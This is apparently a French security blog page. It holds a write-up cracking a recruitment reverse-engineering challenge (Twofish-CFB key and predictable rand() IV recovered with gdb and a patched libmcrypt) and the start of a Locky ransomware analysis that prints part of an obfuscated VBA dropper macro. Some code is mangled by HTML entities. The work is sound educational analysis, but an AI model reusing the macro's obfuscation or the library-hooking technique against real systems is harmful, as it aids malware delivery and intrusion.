Un challenge pour un boulot

Comme vous le savez sûrement l’édition 2016 du challenge SSTIC est sortie (et de ce que nous avons pu en voir la forme ressemble étrangement au Holidays Hack Challenge du gars de la SANS SEC560). Bref, les lapins en chocolat ne nous ont pas encore permis de nous lancer sur le sujet, mais cela ne serait tarder… Mais comme d’habitude la retro-ingéniérie est au programme.

N’ayant pas eu de préchauffe officielle cette année, nous en avons débusqué une. En effet, une grande organisation a récemment publié une fiche de poste avec un challenge à résoudre  (le recrutement est terminé depuis le 6 avril).

On dispose de deux fichiers :
– o-hsucrpt-e : binaire qui chiffre des données
– crypt.bin : un message chiffré

Objectif : Retrouver le message en clair !
Donc un bon exercice pour monter un peu en compétence sur l’ingénierie inverse,

Nous présentons ici notre méthode de résolution :

Tout d’abord on commence sans trop réfléchir :

jshmendes@vima:~/omc$ hexdump -C crypt.bin
00000000  45 84 85 b8 a1 dc 4b e0  5b 2e 0f 55 07 a2 77 8e  |E.....K.[..U..w.|
00000010  4e b7 35                                          |N.5|
00000013
jshmendes@vima:~/omc$ cat crypt.bin | ./o-hsucrpt-e | hexdump -C
00000000  57 fc c0 90 e1 fd 50 06  77 d9 21 c1 a8 e0 46 43  |W.....P.w.!...FC|
00000010  69 0f d9                                          |i..|
00000013
jshmendes@vima:~/omc$ printf "EW" | ./o-hsucrpt-e | hexdump -C
00000000  57 2f                                             |W/|
00000002
jshmendes@vima:~/omc$ printf "W/" | ./o-hsucrpt-e | hexdump -C
00000000  45 c3                                             |E.|
00000002
jshmendes@vima:~/omc$ printf "EWW" | ./o-hsucrpt-e | hexdump -C
00000000  57 2f 2d                                          |W/-|
00000003
jshmendes@vima:~/omc$ printf "EWWW" | ./o-hsucrpt-e | hexdump -C
00000000  57 2f 2d 36                                       |W/-6|
00000004
jshmendes@vima:~/omc$ printf "EWWWW" | ./o-hsucrpt-e | hexdump -C
00000000  57 2f 2d 36 9a                                    |W/-6.|
00000005
jshmendes@vima:~/omc$ printf "W/-6" | ./o-hsucrpt-e | hexdump -C
00000000  45 c3 8f 6b                                       |E..k|
00000004
jshmendes@vima:~/omc$ printf "F" | ./o-hsucrpt-e | hexdump -C
00000000  54                                                |T|
00000001
jshmendes@vm:~/omc$ printf "T" | ./o-hsucrpt-e | hexdump -C
00000000  46                                                |F|
00000001
jshmendes@vima:~/omc$ printf "W" | ./o-hsucrpt-e | ./o-hsucrpt-e ; echo ""
W
jshmendes@vima:~/omc$ printf "M" | ./o-hsucrpt-e | ./o-hsucrpt-e ; echo ""
M

Ainsi peut-on supposer les choses suivantes :

  1.  Le clair et le chiffré ont toujours la même longueur : ça ressemble à un chiffrement par flot
  2.  Les caractères sont chiffrés les uns après les autres : ça ressemble encore plus à un chiffrement par flot
  3.  Le premier caractère en clair est toujours le chiffré de son chiffré, ie E(E(M)) = M : cela laisse penser qu’une fonction XOR est utilisée

Nous avons déjà grâce à l’assertion 3, le premier caractère. Et la longueur du chiffré étant de 0x13 (19) octects, cela ne devrait pas être très long de déchiffrer ce message par force brute. Nous passons donc en mode cryptobourrin.

jshmendes@vima:~/omc$ printf "E" | ./o-hsucrpt-e ; echo ""
W

Notre message commence donc par W. On essaie donc « WTO » pour World Trade Organisation, nom anglais de l’OMC :

jshmendes@vima:~/omc$ printf "WTO" | ./o-hsucrpt-e | hexdump -C
00000000  45 b8 48                                          |E.H|
00000003

Pas de chance, ça ne colle pas. A tâtons, nous tentons plusieurs valeurs et finissons rapidement par trouver :

jshmendes@vima:~/omc$ printf "What a" | ./o-hsucrpt-e | hexdump -C
00000000  45 84 85 b8 a1 dc                                 |E.....|
00000006

Du coup, n’ayant pas que cela à faire, on va faire les petits bourrins :
(Que les puristes du serpent constrictor nous pardonnent, nous balbutions)

from subprocess import Popen, PIPE

def encrypt(message):
        p1 = Popen(["cat", message], stdout=PIPE)
        p2 = Popen(["./o-hsucrpt-e"], stdin=p1.stdout, stdout=PIPE)
        output = p2.communicate()[0]
        return output

fi = open("crypt.bin", "rb")

ok = 1
ind = 5
message = "What "
for line in fi:
        while True:
                for i in range(256):
                        ok = 1
                        message+= str(chr(i)) + '\n'
                        fo = open("foo.txt", "wb")
                        fo.write( message)
                        fo.close()
                        output = encrypt("foo.txt")
                        for j in range(len(str(output))-1):
                                if str(output)[j] != str(line)[j]:
                                        ok = 0
                                        break
                        if ok == 1:
                                ind+=1
                                message = message[:ind]
                                break
                        message = message[:ind]
                if (ind == len(str(line))):
                        print message
                        break

Et quasi instantanément,  nous avons notre sésame  :

jshmendes@vima:~/omc$ python craker.py
 What a lovely day!

Voilà c’est fait mais on reste un peu sur notre faim : comment fonctionne ce petit programme ?

Tout d’abord, essayons d’en savoir un peu plus :

jshmendes@vima:~/omc$ file o-hsucrpt-e
o-hsucrpt-e: ELF 64-bit LSB  executable, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=d100acad15a7f26eb019e597d48a3e04c86fc950, not stripped
jshmendes@vima:~/omc$ ldd o-hsucrpt-e
        linux-vdso.so.1 =>  (0x00007ffe8759a000)
        libmcrypt.so.4 => /usr/lib/libmcrypt.so.4 (0x00007fcaf07ae000)
        libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fcaf03e9000)
        /lib64/ld-linux-x86-64.so.2 (0x00007fcaf09e2000)

On remarque que le binaire est pour une architecture 64 bits et est dynamiquement lié avec la bibliothèque mcrypt, il doit donc utiliser des fonctions de chiffrement standard (ou du moins implémentée dans cette bibliothèque). On y reviendra mais continuons :

Un coup de strings :

jshmendes@vima:~/omc$ strings  o-hsucrpt-e | grep -v _ | grep -v '\.'
strcpy
stdin
calloc
strlen
stdout
rand
malloc
fwrite
fread
memmove
code = lH
ib man pH
goto fail;
twofish
;*3$"
main

Ah on commence à voir des choses intéressantes ; enfin surtout une chaîne « twofish ». Cherchons maintenant un mode de chiffrement. Par défaut, strings ne cherche que les chaînes de 4 caractères et plus, or les modes les plus communs sont abréviés en 3 lettres (ECB, CBC, OFB, …). Utilisons donc l’option -n :

jshmendes@vima:~/omc$ strings  -n 3 o-hsucrpt-e | grep -C 2 twofish
ff.
goto fail;
twofish
cfb
;*3$"

Bingo ! La chaine cfb est présente et correspond à un mode de chiffrement le Cipher FeedBack. Ce qui ne nous étonne guère car le mode CFB a la particularité de pouvoir transformer un chiffrement par bloc en chiffrement par bloc de taille arbitraire inférieure à celle de l’algorithme utilisée. Ce n’est pas très claire plus d’info ici ou

Nous supposons fortement que le programme utilise twofish en mode CFB. Reste à savoir dans quelle fonction ces deux paramètres sont utilisés, et ainsi retrouver la clé et le vecteur d’initialisation. Un petit coup de ‘nm’ devrait nous  mettre sur la voie :

jshmendes@vima:~/omc$ nm o-hsucrpt-e | grep mcrypt
                 U mcrypt_enc_get_iv_size //Donne la taille de l'IV pour le mode et l'algo choisis
                 U mcrypt_generic // Chiffre un blop de donné
                 U mcrypt_generic_end // Finalize le chiffrement
                 U mcrypt_generic_init // Créer un contexte de chiffrement (IV + Key)
                 U mcrypt_module_open // Définit une struct algo+mode
                 U mcrypt_perror

Plus d’information sur les fonctions peuvent être trouvées ici.

Maintenant que nous avons tous ces éléments, nous pouvons utiliser gdb

(gdb) break mcrypt_module_open
Breakpoint 1 at 0x4008d0
(gdb) run
Starting program: /home/owner/omc/o-hsucrpt-e

Breakpoint 1, 0x00007ffff7bad110 in mcrypt_module_open () from /usr/lib/libmcrypt.so.4
(gdb) info frame
Stack level 0, frame at 0x7fffffffe3b0:
 rip = 0x7ffff7bad110 in mcrypt_module_open; saved rip = 0x400bcb
 called by frame at 0x7fffffffe490
 Arglist at 0x7fffffffe3a0, args:
 Locals at 0x7fffffffe3a0, Previous frame's sp is 0x7fffffffe3b0
 Saved registers:
  rip at 0x7fffffffe3a8
(gdb) x /96xh 0x7fffffffe3a0
0x7fffffffe3a0: 0x0001  0x0000  0x0000  0x0000  0x0bcb  0x0040  0x0000  0x0000
0x7fffffffe3b0: 0x0001  0x0000  0x7fff  0x0000  0xe1c8  0xf7ff  0x7fff  0x0000
0x7fffffffe3c0: 0x0013  0x0000  0x0010  0x0000  0x3010  0x0060  0x0000  0x0000
0x7fffffffe3d0: 0x0000  0x0000  0x0000  0x0000  0x0000  0x0000  0x0000  0x0000
0x7fffffffe3e0: 0x6f67  0x6f74  0x6620  0x6961  0x3b6c  0xf700  0x7fff  0x0000
0x7fffffffe3f0: 0xe420  0xffff  0x7fff  0x0000  0xe410  0xffff  0x7fff  0x0000
0x7fffffffe400: 0x6f63  0x6564  0x3d20  0x6c20  0x6269  0x6d20  0x6e61  0x7020
0x7fffffffe410: 0x6761  0x0065  0x0000  0x0000  0xe578  0xffff  0x7fff  0x0000
0x7fffffffe420: 0x7774  0x666f  0x7369  0x0068  0x9990  0xf7ff  0x7fff  0x0000
0x7fffffffe430: 0xe1c8  0xf7ff  0x7fff  0x0000  0x0000  0x0000  0x0000  0x0000
0x7fffffffe440: 0x6663  0x0062  0x0000  0x0000  0x0d8d  0x0040  0x0000  0x0000
0x7fffffffe450: 0xe480  0xffff  0x7fff  0x0000  0x0000  0x0000  0x0000  0x0000

Nous retrouvons notre « twofish » et « cfb ». Rajoutons un breakpoint sur la seconde fonction intéressante :

(gdb) break mcrypt_generic_init
Breakpoint 2 at 0x7ffff7babc80
(gdb) c
Continuing.
Breakpoint 2, 0x00007ffff7babc80 in mcrypt_generic_init () from /usr/lib/libmcrypt.so.4
(gdb) info frame
Stack level 0, frame at 0x7fffffffe3b0:
 rip = 0x7ffff7babc80 in mcrypt_generic_init; saved rip = 0x400c6e
 called by frame at 0x7fffffffe490
 Arglist at 0x7fffffffe3a0, args:
 Locals at 0x7fffffffe3a0, Previous frame's sp is 0x7fffffffe3b0
 Saved registers:
  rip at 0x7fffffffe3a8

Comme vu plus haut, d’après la documentation cette fonction prend bien 4 paramètres. De plus rappelons que les paramètres d’une fonction lorsque peu nombreux sont placé dans les registres par ordre inverse (le dernier paramètre sera donc le registre le « plus petit »  ici rcx)

(gdb) info registers
rax            0x603030 6303792
rbx            0x60311f 6304031
rcx            0x603110 6304016   # VI
rdx            0x10     16        # Taille du Bloc
rsi            0x603010 6303760   # Clé
rdi            0x603030 6303792   # Mcrypt_Struct
rbp            0x7fffffffe480   0x7fffffffe480
rsp            0x7fffffffe3a8   0x7fffffffe3a8
r8             0xff     255
r9             0xffffffffff000000       -16777216
r10            0x7fffffffe170   140737488347504
r11            0x7ffff7babc80   140737349598336
r12            0x4009d0 4196816
r13            0x7fffffffe560   140737488348512
r14            0x0      0
r15            0x0      0
rip            0x7ffff7babc80   0x7ffff7babc80 <mcrypt_generic_init>
eflags         0x202    [ IF ]
cs             0x33     51
ss             0x2b     43
ds             0x0      0
es             0x0      0
fs             0x0      0
gs             0x0      0
(gdb) x /48xh 0x603030
0x603030:       0xffff  0xffff  0xffff  0xffff  0x7774  0x666f  0x7369  0x0068
0x603040:       0x0000  0x0000  0x0000  0x0000  0x0000  0x0000  0x0000  0x0000
0x603050:       0x0000  0x0000  0x0000  0x0000  0x0000  0x0000  0x0000  0x0000
0x603060:       0x0000  0x0000  0x0000  0x0000  0x0000  0x0000  0x0000  0x0000
0x603070:       0x0000  0x0000  0x0000  0x0000  0xffff  0xffff  0xffff  0xffff
0x603080:       0x6663  0x0062  0x0000  0x0000  0x0000  0x0000  0x0000  0x0000
(gdb) x /8xh 0x603110
0x603110:       0xc667  0x7369  0xff51  0xec4a  0xcd29  0xabba  0xfbf2  0x46e3
(gdb) x /8xh 0x603010
0x603010:       0x6f67  0x6f74  0x6620  0x6961  0x3b6c  0x0000  0x0000  0x0000
(gdb)

Nous avons donc ici des sérieux candidats pour la clé et le vecteur d’initialisation.

Enfin par acquis de conscience, nous pouvons aller « pièger » la bibliothèque :

apt-get  source libmcrypt-dev

Nous modififions la fonction mcrypt_generic_init dans lib/mcrypt.c comme suit :

int mcrypt_generic_init(const MCRYPT td, const void *key, int lenofkey, const void *IV)
{
        int i = 0 ;
        fprintf(stdout,&amp;amp;amp;amp;amp;quot;Captain on the bridge : The key is &amp;amp;amp;amp;amp;quot;);
        for( i =0 ; i&amp;amp;amp;amp;amp;amp;lt;16; i++)
                fprintf(stdout,&amp;amp;amp;amp;amp;quot;%02x&amp;amp;amp;amp;amp;quot;, ((unsigned char *)key)[i] );
        printf(&amp;amp;amp;amp;amp;quot;\nThis is the IV you are looking for :&amp;amp;amp;amp;amp;quot;);

        for( i =0 ; i&amp;amp;amp;amp;amp;amp;lt;16; i++)
                fprintf(stdout,&amp;amp;amp;amp;amp;quot;%02x&amp;amp;amp;amp;amp;quot;, ((unsigned char *) IV)[i]);
        printf(&amp;amp;amp;amp;amp;quot;\n&amp;amp;amp;amp;amp;quot;);

        return internal_init_mcrypt(td, key, lenofkey, IV);
}

On recompile, on met à jour le lien symbolique :

jshmendes@vima:~/omc/libmcrypt-2.5.8$ ./configure ; make
jshmendes@vima:~/omc/libmcrypt-2.5.8$ sudo ln -sf  /home/jshmendes/omc/libmcrypt-2.5.8/lib/.libs/libmcrypt.so.4.4.8 /usr/lib/libmcrypt.so.4
jshmendes@vima:~/omc$ printf "blabla" | ./o-hsucrpt-e ; echo ""
Captain on the bridge : The key is 676f746f206661696c3b000000000000
This is the IV you are looking for :67c6697351ff4aec29cdbaabf2fbe346
pspq

Et voilà ! Cela confirme notre analyse précédente. Notons ici qu’utiliser la librairie permet aussi d’avoir plus informations dans gdb :

jshmendes@vima:~/omc$ gdb ./o-hsucrpt-e
[...]
(gdb) break mcrypt_generic_init
Breakpoint 1 at 0x400900
(gdb) run
Starting program: /home/owner/omc/o-hsucrpt-e

Breakpoint 1, mcrypt_generic_init (td=0x603030, key=0x603010, lenofkey=16, IV=0x603110) at mcrypt.c:156
156     {
(gdb) info args
td = 0x603030
key = 0x603010
lenofkey = 16
IV = 0x603110

Bon c’est bien, mais d’où sortent cette clé et ce vecteur ?

La clé n’est autre qu’une chaine ASCII qui nous avions sous les yeux depuis le début : « goto fail; »

Mais le vecteur est lui plus abscons, une recherche dans le binaire ne donne rien. Il doit être généré par le code. Allez on y retourne : on va voir l’assembleur :

jshmendes@vima:~/omc/$ objdump -d o-huscrpt-e >  output.asm
 400bc6:       e8 05 fd ff ff          callq  4008d0 <mcrypt_module_open@plt>
 400bcb:       48 89 85 50 ff ff ff    mov    %rax,-0xb0(%rbp)
 400bd2:       48 83 bd 50 ff ff ff    cmpq   $0x0,-0xb0(%rbp)
 400bd9:       00
 400bda:       75 0a                   jne    400be6 <main+0x129>
 400bdc:       b8 01 00 00 00          mov    $0x1,%eax
 400be1:       e9 2e 01 00 00          jmpq   400d14 <main+0x257>
 400be6:       48 8b 85 50 ff ff ff    mov    -0xb0(%rbp),%rax
 400bed:       48 89 c7                mov    %rax,%rdi
 400bf0:       e8 bb fd ff ff          callq  4009b0 <mcrypt_enc_get_iv_size@plt>
 400bf5:       48 98                   cltq
 400bf7:       48 89 c7                mov    %rax,%rdi
 400bfa:       e8 61 fd ff ff          callq  400960 <malloc@plt>
 400bff:       48 89 85 58 ff ff ff    mov    %rax,-0xa8(%rbp)
 400c06:       c7 85 40 ff ff ff 00    movl   $0x0,-0xc0(%rbp)
 400c0d:       00 00 00
 400c10:       eb 22                   jmp    400c34 <main+0x177>
 400c12:       8b 85 40 ff ff ff       mov    -0xc0(%rbp),%eax   // Début de boucle
 400c18:       48 63 d0                movslq %eax,%rdx
 400c1b:       48 8b 85 58 ff ff ff    mov    -0xa8(%rbp),%rax
 400c22:       48 8d 1c 02             lea    (%rdx,%rax,1),%rbx
 400c26:       e8 95 fd ff ff          callq  4009c0 <rand@plt>
 400c2b:       88 03                   mov    %al,(%rbx)
 400c2d:       83 85 40 ff ff ff 01    addl   $0x1,-0xc0(%rbp)
 400c34:       48 8b 85 50 ff ff ff    mov    -0xb0(%rbp),%rax
 400c3b:       48 89 c7                mov    %rax,%rdi
 400c3e:       e8 6d fd ff ff          callq  4009b0 <mcrypt_enc_get_iv_size@plt>
 400c43:       3b 85 40 ff ff ff       cmp    -0xc0(%rbp),%eax  
 400c49:       7f c7                   jg     400c12 <main+0x155> 
 400c4b:       48 8b 8d 58 ff ff ff    mov    -0xa8(%rbp),%rcx
 400c52:       8b 95 44 ff ff ff       mov    -0xbc(%rbp),%edx
 400c58:       48 8b b5 48 ff ff ff    mov    -0xb8(%rbp),%rsi
 400c5f:       48 8b 85 50 ff ff ff    mov    -0xb0(%rbp),%rax
 400c66:       48 89 c7                mov    %rax,%rdi
 400c69:       e8 92 fc ff ff          callq  400900 <mcrypt_generic_init@plt>


On constate une boucle itérative sur la taille du VI. Egalement, on remarque l’utilisation d’une fonction « rand » de stdlib. Ce qui est intéressant ici, c’est que la fonction srand utilisée pour définir la graine du générateur pseudo-aléatoire n’est pas appelé dans le code. Et si l’on se fit à la « man page », il n’y a des lors rien de vraiment aléatoire dans la génération du vecteur d’initialisation puisque pour chaque exécution, le VI sera toujours identique car la graine utilisée par rand() sera toujours 1.

Du coup si nous pouvons le reproduire :

#include <stdlib.h>;
#include <stdio.h>;

int main(int argc, char *argv[])
{
  int j ;
  for (j = 0; j &amp;amp;lt; 16; j++)
     fprintf(stdout, &amp;quot;%02x&amp;quot;, (unsigned char ) rand());
  return 0;
}
jshmendes@vima:~/omc$ gcc testrand.c -o iv
jshmendes@vima:~/omc$ ./iv
67c6697351ff4aec29cdbaabf2fbe346

Donc voilà, nous savons comment est généréré l’IV.

Nous pouvons donc dire que nous avons tout. Reste maintenant à coder un programme qui fasse la même chose. Mais, en y regardant de plus pres, les concepteurs avaient laissé volontairement une indication sur la source du challenge qui se trouve dans la bibliothèque mcrypt elle-même… On vous laisse chercher🙂

Publié dans cryptobourrin, Cryptographie Asymétrique, Cryptographie Symétrique, Uncategorized | Tagué , , , , | Laisser un commentaire

Locky l’épidémie

Depuis le 16 février, un nouveau pourriel au doux nom de « Locky » se repend par milliers dans les boites de messagerie. Ça s’enflamme assez rapidement.

Les Macro

Le vecteur de contamination reste globalement le même que pour Dridex. Les messages envoyés prétextent une facture à payer pour inciter l’utilisateur à ouvrir un document Microsoft Word qui une fois ouvert, demandera poliment d’activer les macros : à partir de là c’est le drame.

Cependant comme nous allons le voir, nous avons constater quelques différences avec Dridex.

Le document attaché au message est un fichier office au format « Web Archive »… Du coup on en revient à refaire la même chose que lors de notre analyse de Dridex.

Tout d’abord, nous pouvons d’un coup d’œil apporter une attribution « géographique » à cette campagne :

------=_NextPart_01D16A5D.CFD0DE90
Content-Location: file:///C:/D07B2526/dsfff.htm
Content-Transfer-Encoding: quoted-printable
Content-Type: text/html; charset="windows-1251"

Encore un coup des Russes ! En effet, le « windows-1251 » correspond au clavier en cyrillique.

Rapidement, nous faisons le nettoyage de ce fichier pour ne garder que le fichier office comme déjà décrit ici :

:~$ tr -d '\r\n' < test2.txt > test2.mime.clean
:~$ base64 -d test2.mime.clean > 36864.txt
:~$ tail -c +51 36864.txt > beheaded.txt
:~$ zlib-flate -uncompress < beheaded.txt > test.final
:~$ file test.final
test.final: Composite Document File V2 Document, No summary info

Jusqu’ici rien d’extraordinaire, nous reproduisons les même étapes que pour Dridex. Pour la suite, nous allons extraire les macro du fichier office via oledump (le cousin belge du breton oletools):

:~$ python ../oledump.py test.final
  1:       640 'PROJECT'
  2:       119 'PROJECTwm'
  3:        97 'UserForm1/\x01CompObj'
  4:       292 'UserForm1/\x03VBFrame'
  5:       130 'UserForm1/f'
  6:     15464 'UserForm1/o'
  7: M    8793 'VBA/Module1'
  8: M    4614 'VBA/Module2'
  9: M    1094 'VBA/ThisDocument'
 10: m    1159 'VBA/UserForm1'
 11:      4805 'VBA/_VBA_PROJECT'
 12:       861 'VBA/dir'

On constate que nous avons 3 Macro et un objet intitulé « UserForm1« . Grâce aux commandes suivantes nous extrayons le code VBA des macros :

$~: python ../oledump.py  beheaded.txt.uncompressed -v -s 7

Attribute VB_Name = &amp;amp;amp;amp;quot;Module1&amp;amp;amp;amp;quot;
Sub VJKBKasd()
Dim sadasddcc, sadqwnczxc
Dim LUPLaAkf, SVARJIYJ, kLoBtrvI As String
Dim QTSHwTIO, NwKlAjMk, ZUufqFZQ As String
QTSHwTIO = &amp;amp;amp;amp;quot;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp; IBLOWN&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp; &amp;amp;amp;amp;quot;
NwKlAjMk = LTrim(QTSHwTIO)
ZUufqFZQ = RTrim(NwKlAjMk)

LUPLaAkf = &amp;amp;amp;amp;quot;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp; QUICXB&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp; &amp;amp;amp;amp;quot;
Dim puoLiuLz, wdWXOWXd, UlUBsINx As String
puoLiuLz = &amp;amp;amp;amp;quot;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp; EGKYKT&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp; &amp;amp;amp;amp;quot;
wdWXOWXd = LTrim(puoLiuLz)
UlUBsINx = RTrim(wdWXOWXd)

SVARJIYJ = LTrim(LUPLaAkf)
Dim sfMPbMBG, ugrXMBxJ, ehgigeMK As String
sfMPbMBG = &amp;amp;amp;amp;quot;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp; SWBCTJ&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp; &amp;amp;amp;amp;quot;
ugrXMBxJ = LTrim(sfMPbMBG)
ehgigeMK = RTrim(ugrXMBxJ)

kLoBtrvI = RTrim(SVARJIYJ)

Dim GsLARjZX, miAXJSlF, BeojrusT As String
GsLARjZX = &amp;amp;amp;amp;quot;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp; OCDFPM&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp; &amp;amp;amp;amp;quot;
miAXJSlF = LTrim(GsLARjZX)
BeojrusT = RTrim(miAXJSlF)

Set sadasddcc = CreateObject(&amp;amp;amp;amp;quot;Scripting.FileSystemObject&amp;amp;amp;amp;quot;)
Dim GZWGAYth, rlalYkjV, YRhdhGNk As String
Dim phXrQVlI, SnqVmwez, ajhAnugP As String
phXrQVlI = &amp;amp;amp;amp;quot;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp; WHVHEO&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;amp;nbsp; &amp;amp;amp;amp;quot;
SnqVmwez = LTrim(phXrQVlI)
ajhAnugP = RTrim(SnqVmwez)

